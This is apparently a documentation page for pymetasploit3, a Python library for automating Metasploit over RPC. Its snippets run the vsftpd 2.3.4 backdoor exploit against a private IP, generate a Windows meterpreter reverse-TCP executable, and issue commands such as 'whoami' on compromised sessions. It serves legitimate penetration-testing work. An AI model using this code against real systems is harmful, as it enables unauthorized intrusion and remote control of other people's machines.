DOCSEARCHbyAlgolia
Submit Docs

pymetasploit3 Documentation

repository·master·Indexed 19 days ago

https://github.com/danmcinerney/pymetasploit3

A Python 3 library for automating the Metasploit Framework via its RPC interface. It provides the MsfRpcClient class to programmatically manage exploits, payloads, sessions, and modules, including support for interacting with msfrpcd and msfconsole.

Tokens
1.7K
Snippets
6
Records
7
Agent score
15%

What's inside pymetasploit3

  1. Understand the MsfRpcClient management modules

    master

    The MsfRpcClient class is segmented into several management modules that correspond to Metasploit framework components:

    • auth: Manages client authentication for the msfrpcd daemon.
    • consoles: Manages interaction with consoles/shells created by Metasploit modules.
    • core: Manages the Metasploit framework core.
    • db: Manages backend database connectivity for msfrpcd.
    • modules: Manages interaction and configuration of Metasploit modules (exploits, auxiliaries, etc.).
    • plugins: Manages plugins associated with the Metasploit core.
    • sessions: Manages interaction with Metasploit meterpreter sessions.

  2. Install pymetasploit3

    master

    You can install pymetasploit3 using pipenv (recommended for Python 3 environments) or via pip3.

    # Using pipenv
mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell

# Or using pip3
pip3 install --user pymetasploit3

  3. Start the Metasploit RPC server

    master

    To use the library, you must first have a Metasploit RPC server running. You can use either msfrpcd or msfconsole with the msgrpc plugin.

    Option 1: Using msfconsole

    Starts the RPC server on port 55552 and provides the Metasploit console UI.

    msfconsole
msf> load msgrpc [Pass=yourpassword]

    Option 2: Using msfrpcd

    Starts the RPC server in the background on port 55553.

    msfrpcd -P yourpassword
    # msfconsole method
msfconsole
msf> load msgrpc [Pass=yourpassword]

# msfrpcd method
msfrpcd -P yourpassword

  4. Interact with Metasploit sessions

    master

    Once a session is established, you can interact with it using the client.sessions module.

    Basic Shell Interaction

    Use client.sessions.session(session_id) to get a session object. You can then use .write() and .read().

    shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())

    Running commands with output and termination strings

    Because determining when a session command is finished is non-trivial, use run_with_output(command, terminating_strs). This method waits until one of the strings in terminating_strs appears in the output.

    session_id = '1'
# Wait for '----' to appear in the ARP table output
client.sessions.session(session_id).run_with_output('arp', ['----'])

    Using timeouts

    You can specify a timeout (in seconds). If timeout_exception is set to False, the method will return whatever data was captured before the timeout expired instead of raising an error.

    # Wait up to 10 seconds for '----'
client.sessions.session('1').run_with_output('arp', ['----'], timeout=10, timeout_exception=False)
    # Basic read/write
session = client.sessions.session('1')
session.write('whoami')
print(session.read())

# Run command and wait for specific output pattern
session.run_with_output('arp', ['----'])

# Run command with a 10s timeout (no exception on timeout)
session.run_with_output('arp', ['----'], timeout=10, timeout_exception=False)

  5. Run an exploit with pymetasploit3

    master

    To run an exploit, you navigate the modules hierarchy, select the module, configure its options, and execute it with a payload.

    Workflow:

    1. Explore exploits: Access client.modules.exploits to see available modules.
    2. Select a module: Use client.modules.use('exploit', 'module/path').
    3. Configure options: Set required options like RHOSTS using dictionary-style assignment: exploit['RHOSTS'] = 'target_ip'.
    4. Select a payload: Use exploit.targetpayloads() to see compatible payloads.
    5. Execute: Call exploit.execute(payload='payload/path').

    Example using unix/ftp/vsftpd_234_backdoor:

    exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit['RHOSTS'] = '172.16.14.145'
exploit.execute(payload='cmd/unix/interact')
    # 1. Select exploit
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')

# 2. Set target
exploit['RHOSTS'] = '172.16.14.145'

# 3. Execute with payload
exploit.execute(payload='cmd/unix/interact')

  6. Generate a payload file

    master

    You can use the payload module to generate raw payload data (e.g., an .exe file).

    1. Select the payload module: client.modules.use('payload', 'path/to/payload').
    2. Configure runoptions (e.g., Format, BadChars).
    3. Call payload.payload_generate().

    Note: payload_generate() may return a string or raw bytes. If it returns bytes, write them to a file.

    payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
payload.runoptions['Format'] = 'exe'

data = payload.payload_generate()
if isinstance(data, str):
    print(data)
else:
    with open('test.exe', 'wb') as f:
        f.write(data)

  7. Connect to the Metasploit RPC server using MsfRpcClient

    master

    Use the MsfRpcClient class to establish a connection to your running Metasploit RPC server. The connection method depends on how you started the server.

    Connecting to msfrpcd (Default port 55553)

    from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('yourpassword', ssl=True)

    Connecting to msfconsole (Port 55552)

    When using the msgrpc plugin in msfconsole, you must specify the port.

    from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('yourpassword', port=55552, ssl=True)
    from pymetasploit3.msfrpc import MsfRpcClient

# For msfrpcd
client = MsfRpcClient('yourpassword', ssl=True)

# For msfconsole with msgrpc
client = MsfRpcClient('yourpassword', port=55552, ssl=True)